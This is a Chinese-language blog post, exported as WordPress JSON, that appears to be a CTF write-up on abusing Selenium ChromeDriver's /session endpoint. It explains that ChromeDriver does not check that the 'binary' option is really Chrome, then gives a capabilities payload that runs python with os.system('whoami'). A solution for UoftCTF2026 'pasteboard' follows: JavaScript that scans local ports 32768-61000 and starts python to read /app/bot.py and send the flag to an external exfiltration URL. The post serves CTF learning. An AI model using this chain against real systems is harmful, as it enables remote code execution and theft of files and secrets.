{"id":522,"date":"2026-01-13T04:46:33","date_gmt":"2026-01-13T04:46:33","guid":{"rendered":"http:\/\/101.42.175.115\/wordpress\/?p=522"},"modified":"2026-01-13T04:46:34","modified_gmt":"2026-01-13T04:46:34","slug":"selenium-chromedriver","status":"publish","type":"post","link":"http:\/\/101.42.175.115\/wordpress\/?p=522","title":{"rendered":"Selenium ChromeDriver"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">ChromeDriver<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Selenium \u662f\u4e00\u4e2a\u6d4f\u89c8\u5668\u81ea\u52a8\u5316\u6846\u67b6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6d4f\u89c8\u5668\u6ca1\u6709\u7edf\u4e00\u7684\u63a7\u5236\u63a5\u53e3\uff0c\u6bcf\u4e2a\u6d4f\u89c8\u5668\u5185\u90e8\u5b9e\u73b0\u4e0d\u540c\u3002Selenium \u901a\u8fc7 WebDriver \u534f\u8bae\u4e0e Driver \u901a\u4fe1\uff0cDrive \u628a WebDriver \u6807\u51c6\u534f\u8bae\u7ffb\u8bd1\u6210\u5404\u6d4f\u89c8\u5668\u7684\u79c1\u6709\u534f\u8bae\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u540c\u6d4f\u89c8\u5668\u7684 Driver\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>Selenium \u2500\u2500> ChromeDriver  \u2500\u2500> Chrome\n         \u2500\u2500> GeckoDriver   \u2500\u2500> Firefox  \n         \u2500\u2500> EdgeDriver    \u2500\u2500> Edge\n         \u2500\u2500> SafariDriver  \u2500\u2500> Safari<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #393A34\">Selenium \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> ChromeDriver  \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> Chrome<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">         \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> GeckoDriver   \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> Firefox  <\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">         \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> EdgeDriver    \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> Edge<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">         \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> SafariDriver  \u2500\u2500<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #393A34\"> Safari<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53 Selenium \u542f\u52a8 Chrome \u65f6\uff0c\u4f1a\u5148\u542f\u52a8 ChromeDriver \u8fdb\u7a0b\uff0c\u5b83\u662f\u4e00\u4e2a HTTP \u670d\u52a1\u5668\uff0c\u76d1\u542c\u5728\u672c\u5730\u968f\u673a\u7aef\u53e3\uff08\u901a\u5e38\u5728 32768-61000 \u8303\u56f4\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ChromeDriver \u7684 \/session \u7aef\u70b9\u7528\u4e8e\u521b\u5efa\u65b0\u7684\u6d4f\u89c8\u5668\u4f1a\u8bdd\uff0c\u63a5\u53d7 JSON \u914d\u7f6e\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(2 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">JSON<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{\n  \"capabilities\": {\n    \"alwaysMatch\": {\n      \"browserName\": \"chrome\",\n      \"goog:chromeOptions\": {\n        \"binary\": \"\",\n        \"args\": []\n      }\n    }\n  }\n}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">  <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">capabilities<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">alwaysMatch<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">      <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">browserName<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">chrome<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">      <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">goog:chromeOptions<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">binary<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">args<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">[]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">      <\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">  <\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">JSON<\/span><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>binary: \u6307\u5b9a\u8981\u542f\u52a8\u7684\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84<\/li>\n\n\n\n<li>args: \u4f20\u9012\u7ed9\u8be5\u53ef\u6267\u884c\u6587\u4ef6\u7684\u547d\u4ee4\u884c\u53c2\u6570<\/li>\n<\/ul>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u51fb\u5b9e\u73b0<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ChromeDriver \u4e0d\u9a8c\u8bc1 binary \u662f\u5426\u771f\u7684\u662f Chrome \u6d4f\u89c8\u5668\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6307\u5b9a\u4efb\u610f\u53ef\u6267\u884c\u6587\u4ef6\u3002<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(2 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">JSON<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{\n  \"capabilities\": {\n    \"alwaysMatch\": {\n      \"browserName\": \"chrome\",\n      \"goog:chromeOptions\": {\n        \"binary\": \"\/usr\/local\/bin\/python\",\n        \"args\": &#91;\"-c\", \"import os; os.system('whoami')\"&#93;\n      }\n    }\n  }\n}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">  <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">capabilities<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">alwaysMatch<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">      <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">browserName<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">chrome<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">      <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">goog:chromeOptions<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">binary<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">\/usr\/local\/bin\/python<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #998418\">args<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">&#91;<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">-c<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">import os; os.system(&#39;whoami&#39;)<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">      <\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">  <\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">JSON<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Selenium ChromeDriver \u53ef\u4ee5\u914d\u5408 XSS \u5b9e\u73b0 RCE\uff0cChromeDriver \u6bcf\u6b21\u542f\u52a8\u65f6\u7ed1\u5b9a\u968f\u673a\u7aef\u53e3\uff0c\u901a\u8fc7\u66b4\u529b\u626b\u63cf\u83b7\u53d6\u7aef\u53e3\u53f7\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ee5 UoftCTF2026 \u4e2d pasteboard \u4e00\u9898\u4e3a\u4f8b\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(2 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">JavaScript<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>def payload():\n    js = r'''\n    let options = {\n    method: \"POST\",\n    mode: \"no-cors\",\n    headers: { \"Content-Type\": \"application\/json\" },\n    body: JSON.stringify({\n        capabilities: {\n        alwaysMatch: {\n            browserName: \"chrome\",\n            \"goog:chromeOptions\": {\n            binary: \"\/usr\/local\/bin\/python\",\n            args: [`-cimport re,urllib.request,urllib.parse;urllib.request.urlopen(urllib.request.Request(\"&lt;EXFIL>\",urllib.parse.urlencode({\"flag\":re.search(r\"uoftctf\\{&#91;^}&#93;+\\}\",open(\"\/app\/bot.py\").read()).group(0)}).encode()))`],\n            },\n        },\n        },\n    }),\n    };\n    for(let port = 32768; port &lt; 61000; port++) {\n    fetch(`http:\/\/127.0.0.1:${port}\/session`, options);\n    }\n\n    '''.replace(\"&lt;EXFIL>\", f\"{EXFIL_BASE_URL}\/exfil\") return Response(js, mimetype='application\/javascript')<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #B07D48\">def<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #59873A\">payload<\/span><span style=\"color: #999999\">()<\/span><span style=\"color: #393A34\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #B07D48\">js<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B07D48\">r<\/span><span style=\"color: #B5695999\">&#39;&#39;&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #B56959\">    let options = <\/span><span style=\"color: #B31D28; font-style: italic\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #59873A\">method<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">POST<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #59873A\">mode<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">no-cors<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #59873A\">headers<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">Content-Type<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #393A34\">: <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">application\/json<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">},<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #59873A\">body<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B07D48\">JSON<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #59873A\">stringify<\/span><span style=\"color: #999999\">({<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #998418\">capabilities<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #998418\">alwaysMatch<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">            <\/span><span style=\"color: #998418\">browserName<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">chrome<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">            <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">goog:chromeOptions<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">            <\/span><span style=\"color: #998418\">binary<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">\/usr\/local\/bin\/python<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">            <\/span><span style=\"color: #998418\">args<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">[<\/span><span style=\"color: #B5695999\">`<\/span><span style=\"color: #B56959\">-cimport re,urllib.request,urllib.parse;urllib.request.urlopen(urllib.request.Request(&quot;&lt;EXFIL&gt;&quot;,urllib.parse.urlencode({&quot;flag&quot;:re.search(r&quot;uoftctf<\/span><span style=\"color: #A65E2B\">\\{<\/span><span style=\"color: #B56959\">&#91;^}&#93;+<\/span><span style=\"color: #A65E2B\">\\}<\/span><span style=\"color: #B56959\">&quot;,open(&quot;\/app\/bot.py&quot;).read()).group(0)}).encode()))<\/span><span style=\"color: #B5695999\">`<\/span><span style=\"color: #999999\">],<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">            <\/span><span style=\"color: #999999\">},<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #999999\">},<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">        <\/span><span style=\"color: #999999\">},<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #999999\">}),<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    }<\/span><span style=\"color: #999999\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #1E754F\">for<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #AB5959\">let<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B07D48\">port<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #2F798A\">32768<\/span><span style=\"color: #999999\">;<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B07D48\">port<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">&lt;<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #2F798A\">61000<\/span><span style=\"color: #999999\">;<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B07D48\">port<\/span><span style=\"color: #AB5959\">++<\/span><span style=\"color: #999999\">)<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #59873A\">fetch<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">`<\/span><span style=\"color: #B56959\">http:\/\/127.0.0.1:<\/span><span style=\"color: #999999\">${<\/span><span style=\"color: #B56959\">port<\/span><span style=\"color: #999999\">}<\/span><span style=\"color: #B56959\">\/session<\/span><span style=\"color: #B5695999\">`<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B07D48\">options<\/span><span style=\"color: #999999\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">    <\/span><span style=\"color: #B5695999\">&#39;&#39;&#39;<\/span><span style=\"color: #B56959\">.replace(&quot;&lt;EXFIL&gt;&quot;, f&quot;{EXFIL_BASE_URL}\/exfil&quot;) return Response(js, mimetype=<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B07D48\">application<\/span><span style=\"color: #AB5959\">\/<\/span><span style=\"color: #B07D48\">javascript<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B31D28; font-style: italic\">)<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">JavaScript<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b9e\u73b0\u4e86\u8bfb\u53d6 \/app\/bot.py \u6587\u4ef6\u5185\u5bb9\uff0c\u7528\u6b63\u5219 <code>uoftctf\\{[^}]+\\}<\/code> \u63d0\u53d6 flag\uff0c\u5c06 flag \u901a\u8fc7 HTTP POST \u53d1\u9001\u5230\u76d1\u542c\u673a\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"ChromeDriver Selenium \u662f\u4e00\u4e2a\u6d4f\u89c8\u5668\u81ea\u52a8\u5316\u6846\u67b6\u3002 \u6d4f\u89c8\u5668\u6ca1\u6709\u7edf\u4e00\u7684\u63a7\u5236\u63a5\u53e3\uff0c\u6bcf\u4e2a\u6d4f\u89c8\u5668\u5185\u90e8\u5b9e\u73b0\u4e0d\u540c\u3002Selenium \u901a\u8fc7 WebDriver \u534f\u8bae\u4e0e Driver \u901a\u4fe1\uff0cDrive \u628a WebDriver \u6807\u51c6\u534f\u8bae\u7ffb\u8bd1......","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[23],"tags":[53,52],"class_list":["post-522","post","type-post","status-publish","format-standard","hentry","category-web-security","tag-chromedriver","tag-selenium"],"_links":{"self":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/522","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=522"}],"version-history":[{"count":2,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/522\/revisions"}],"predecessor-version":[{"id":524,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/522\/revisions\/524"}],"wp:attachment":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=522"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=522"},{"taxonomy":"post_tag","embeddable